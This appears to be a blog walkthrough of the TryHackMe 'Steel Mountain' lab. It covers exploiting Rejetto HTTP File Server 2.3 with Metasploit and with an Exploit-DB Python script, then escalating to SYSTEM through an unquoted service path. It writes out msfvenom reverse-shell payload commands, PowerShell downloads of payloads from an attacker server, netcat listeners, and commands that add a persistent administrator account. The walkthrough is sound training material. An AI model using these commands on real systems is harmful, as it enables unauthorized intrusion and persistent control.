TryHackMe STEEL MOUNTAIN - Metasploit and No Metasploit Version

Combination Metasploit and No Metasploit Versions

I've had several requests lately to do a walkthrough livestream for Steel Mountain as manual exploitation can catch some folks off-guard.  The Steel Mountain room (https://tryhackme.com/room/steelmountain) provides instruction on how to gain an initial foothold via Metasploit which is pretty easy, as well as utilizing a pre-written Python script to do the same.  The second one is important to folks who are studying for OSCP.  Offensive Security believes for whatever reason that hamstringing it's test takers proves value in it's exam by forcing them to use someone else's already written manual exploits freely available online.  I disagree as this is exactly what Metasploit is, but I will quickly digress.  

We will cover the pathways that TryHackMe has laid out in the room, and I will provide a couple of additional tricks I picked up while studying for eCPPT which prove valuable, and can help you understand how some of the functions of tools like winPEAS work.  The following guide is going to start as usual, and the scanning and initial enumeration will be combined for both.  We will then go over the Metasploit exploitation first, followed by how we can do the same almost as quickly using manual exploitation.  Once we have completed the necessary challenge requirements I'll cover post-exploitation tasks, and how we can ensure persistence on this machine (a skill eLearn Security finds valuable in it's exams).  So let's get to work!

Scanning

We kick things off by running our basic Nmap scan to get a quick idea of what we are looking at, followed by running Nmap -A to get a full picture of our attack surface.

nmap basic scan

nmap -A scan

As you can see we have several things going on here.  We have a couple of web servers running on 80 and 8080, SMB on 445, and RDP on 3389.  Everyone has a different methodology here, and you could try to grab a quick win by checking SMB for default or misconfigured access privileges, however you'll find access denied.  I typically go for the web servers first, and visiting port 80 will give us the answer to our first question in the room

Enumeration

Website Port 80 results

 We continue moving on with our challenge and it is pointing us towards the 8080 address.  In a typical CTF or engagement we would want to enumerate the port 80 location some more, but for now we will move on.  We have already run our Nmap scan, so we can ignore doing that again as instructed in the room guide.  We can refer back to our results to answer question #1, and a quick visit to the 8080 address shows that it is running HTTPFileServer 2.3, which is a Rejetto product.  (The HTTPFileServer 2.3 info can also be grabbed from our Nmap -A scan).  In order to determine this is a Rejetto file server as the question asks, you'll need to click the link in the bottom left corner under Server Information.

Rejetto HTTPFileServer 2.3

Now that we have the service we can determine if it is vulnerable, which it very much is vulnerable to remote code execution.  A google search shows that there is a manual exploit available, and if we use Searchsploit from a terminal we will see that there is also a Metasploit exploit available.  

Rejetto HTTP File Server 2.3 RCE exploit on Exploit-DB

At this point our paths are going to separate and we will cover the Metasploit pathway to full system takeover, and then the manual method. 

Exploitation via Metasploit

Now that we have identified a Metasploit exploit we can spin up msfconsole and get to work.  We can first do a quick search to find our Rejetto exploit and input our settings to get our initial foothold. Metasploit will use a Meterpreter reverse TCP payload by default which you can use.

search rejetto

Metasploit exploit and initial foothold

Question #4 asks that you gather the user.txt flag, which you can do now if you'd prefer.  You can utilize the Meterpreter shell to navigate to the Users directory and search for it, however I simply prefer to wait to do this step until I have full access to the machine.  This way I'm not moving in and out of directories unnecessarily.

At this point the room has suggested using PowerUp.ps1 from the PowerSploit distro.  If you don't have these on your machine you should anyways, so use the link in the room to download them to your directory of choice.  You can then use the Meterpreter shell to upload the script to your target machine.  You will then need to load Powershell in your Meterpreter shell and enter a Powershell shell from it.  Then follow the instructions to ensure that they were uploaded properly.

upload /opt/PowerSploit/Privesc/PowerUp.ps1; load powershell; powershell_shell; ls

 We will need to load the PowerUp script utilizing the . .\PowerUp.ps1 command, followed by Invoke-AllChecks.  This will run a series of scans on the target to look for vulnerabilities based on pre-determined signatures.  In this case PowerUp returns that the machine is vulnerable to Unquoted Service Path exploitation in the AdvancedSystemCareService9 service path directory.  Additionally, an important part of the output is that the service can be restarted, which is necessary for exploiting USP vulnerabilities.

PowerUp.ps1 results showing Unquoted Service Path vulnerability and restart abilities

If you've gotten to this point and are somewhat confused about what Unquoted Service Paths are, that's ok.  In a nutshell, USP are a misconfiguration in a directory's path that contains spaces in which the path isn't encapsulated in double quotations.  If the path to an executable is "quoted," the path is specifically defined in the machine and not open to interpretation usually.  If the path is not quoted, then you can maliciously insert executables in to the "spaces."  This link provides a pretty good overview of what is going on to cause these vulnerabilities.  

From here we need to determine the locations within the service path that can be exploited.  We see that in this case we could try C:\Program Files (x86), and try to inject something named Program.exe, but we likely do not have permission to do so.  However we know that we have permission to modify the service as we have privileges to run it (StartName: LocalSystem).

Now that we know that we have privileges, and that we have a possible path to inject our malicious executable in to, we need to craft it.  We can use msfvenom to do this.  Keep note that the service path we are targeting is Advanced SystemCare, so we will need to name our malicious executable "Advanced.exe" as this is what the system will attempt to run first.  We also need to start a Multi Handler to catch our reverse shell.  So let's do these in order.

Multi Handler Listener started for our Meterpreter Reverse TCP payload

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.1.198 LPORT=5555 -f exe -o /root/Desktop/Advanced.exe

upload /root/Desktop/Advanced.exe (make sure you have changed directory to the appropriate location first)

As you can see we have now successfully started our multi handler, created our payload and uploaded it in to the appropriate directory.  You can also see by examining the directory how the system will use our payload.  Rather than continuing down the path to open the Advanced SystemCare directory, it will attempt to execute Advanced.exe.  We now need to drop in to a Windows command shell using the shell command, and first stop, then restart our program.  With luck we should see a callback to our Multi Handler and a new Meterpreter session started.  Note that your session may be unstable and that you will need to interact with it quickly and migrate the process to an x64 process running as NT AUTHORITY\System.

Successful reverse shell via Unquoted Service Path Exploitation

Migration to stable process and get UID

From here the remaining tasks are trivial, and you simply need to drop in to a shell again to grab the user and system flags if you haven't already.  And that will wrap up the Metasploit exploitation of Steel Mountain.  Follow along further for the manual exploitation.

User and System level flags for submission

Manual Exploitation

The manual exploitation path for this machine is pretty straight forward, and for the most part similar to the Metasploit version, minus the initial foothold vector and some trivial file transfer requirements.  We will skip to the end of the enumeration stage, where we have already determined that there is an exploit available on Exploit-DB.

Exploit-DB; Notice 39161 ID number

If we examine the page farther we will see that this exploit is a Python script that will require minimal modification to enable us to use it.  Specifically, we need to change the IP address to our Kali machine, and modify the port number to whatever we wish.  If you have a full install of Kali Linux can use locate to find this script on your machine, and copy it to whatever directory you wish.  From there, let's open it and make the simple change that is necessary.

Changed IP address and Local Port to my Kali address and a port of my choosing

Now let's simply save the file and read the description of the exploit.  It says that we will need to be running a Python SimpleHTTPServer for the script to call back to in order to download a Netcat binary.  Again, a full install of Kali provides the Netcat Windows binary in the /usr/share/windows-resources/binaries/nc.exe directory (it's also in the Seclists download if you have that).  I copy mine to a working directory on my desktop and start my Python server there.  You'll need to run this on Port 80.  Additionally, you will need a Netcat listener running to catch the connection, and you need to set the port to whatever you used in the modified Python script.  Finally, you need to run the command, adding the target IP address and target Port (8080 for the Rejetto server on the target machine).  It should look something like the following.

Top Left - nc -nlvp 2246 & captured shell; Top Left Python -m SimpleHTTPServer 80; Bottom python 39161.py 10.10.37.236 8080

You may need to run the Python command a couple of times for the exploit to work properly, but if you've followed my instructions and the pictorial above it will work.  If it didn't work, ensure your Python server is running on port 80, that your Netcat listener port is the same as you specified in the exploit, and ensure that your Python script IP is the same as yours.  Additionally, double check your python command to make sure you have the correct target IP address and port.

Once we have our connection we can get to work on exploiting this machine.  We first need to get winPEAS.exe on our target machine.  You can use various mechanisms to do this, including Netcat itself, however we will use my favorite, the Powershell wget command.  For simplicity you can place winPEAS in the same directory you're already running your Python server out of and run the command you see below.

powershell -c wget "http://10.11.1.198/winPEAS.exe" -outfile "winPEAS.exe"

Do a quick check of the directory to ensure it's in the right location.  In my case I had changed my directory to the user directory first (you can grab the user.txt flag quick if you want as well).  Now that we have winPEAS installed, let's run that by firing off winPEAS.exe in the command prompt.  It may take a couple of minutes, but once it's done we can start inspecting the results.  You should find this:

 winPEAS results notating an Unquoted Service Path vulnerability

Additionally we can use a long wmic command to do the same, which isn't covered in the room walkthrough.  You can find this command in the below image and caption.

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "C:\windows\\" |findstr /i /v """

As you can see we are provided with a list of vulnerable paths that we might be able to exploit.  And in this case, we are going to exploit the Advanced SystemCare path.  We should also make sure that we can actually manipulate the service as needed.  We can do this with the following commands, one checking to see if the process can actually be stopped and started, while the other will show us if we have permissions to do so. 

sc qc AdvancedSystemCareService9 (note you have to run this from the above directory)

 icacls "Advanced SystemCare" (note RX,W notates Read, Execute, and Write permissions)

Now that we have determined we have start and stop control of the program we will again need to create an msfvenom payload.

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.1.198 LPORT=5555 -f exe -o /root/Desktop/Advanced.exe

Utilizing the Powershell wget command we can utilize our still running Python server to pull the Advanced.exe executable to the IOBit directory.

powershell -c wget "http://10.11.1.198/Advanced.exe" -outfile Advanced.exe

Make sure to confirm that the upload transferred as expected, and notice how the service path exploit will actually occur.  Finally, we need to start a Netcat listener on the port we used for our exploit, stop the program if it is running, and restart it.  If you've done everything correctly you will get a reverse shell from it (make sure you issue your stop and start commands from inside the IOBit directory).

Bottom - nc -nlvp 5544 (I used a different port than the above msfvenom example); Top - sc stop AdvancedSystemCareService9 followed by sc start AdvancedSystemCareService9

As you see we have successfully elevated our privileges to System and completing the task is trivial at this point.  Change directories to the Administrator's Desktop where you will find the system flag.

system flag on Administrator's Desktop

If you're here simply to complete the challenge, congratulations!  This is a difficult challenge for those who have never exploited an Unquoted Service Path before, and even more so if you struggle with manual exploitation.  Following this I will cover some post-exploitation tasks that are mostly forgotten about with CTF labs, and we will go over how to ensure lasting persistence in ways that we would if this were a real world engagement.  So if you are interested in this, please follow along in the next section.

Post Exploitation

At this point we are assuming you have full system control of the machine.  If not, please go back through the last sections to get to this point.  From here we can start to ensure we have persistence on Steel Mountain.  The first, and simplest thing we can do is create a user and grant them Administrator group permissions.

net user themayor !Password!123 /add; net localgroup "Administrators" themayor /add

 net localgroup "Administrators" confirmation

Now that we have added and confirmed that we are an Administrator, we can try to log on to the Windows Server 2012 (remember that Nmap scan earlier?) using xfreerdp, which proves successful.

  xfreerdp /u:themayor /p:'!Password!123' /v:10.10.220.194

We are met with Desktop access to the Server manager which we can use to prove our full access to the machine.  In this case we will simply check to ensure that our themayor user is added as a user and as a member of the Administrator's group.  

Proof of Exploit and Persistence

If you were in a Red Teaming engagement with a competent Blue Team, they would have known long ago that you were exploiting the machine, and we wouldn't have gotten to the user creation process.  But for a penetration test where you aren't actively attacking a defense actively trying to stop you, then this persistence mechanism is significant proof of vulnerability in the target machine or network.  At this point you would want to refer to your Rules of Engagement (ROE) and scoping to determine if you need to contact the client about the exploit based on the criticality it presents. 

Final Thoughts

Steel Mountain is a great opportunity to stretch some of those exploitation muscles that we wouldn't normally use outside of the educational or lab environment.  It's also proof that exploiting manually shouldn't be feared as many of the exploits we are taking advantage of have already been discovered in the past and we can leverage the exceptional work that other researchers have performed.  This machine also shows the necessity of ensuring proper installation of software and a System Administrator's responsibility in running some of the same scans and tests we have here today.  I hope that this guide has helped you along your way, and I hope to see you again soon!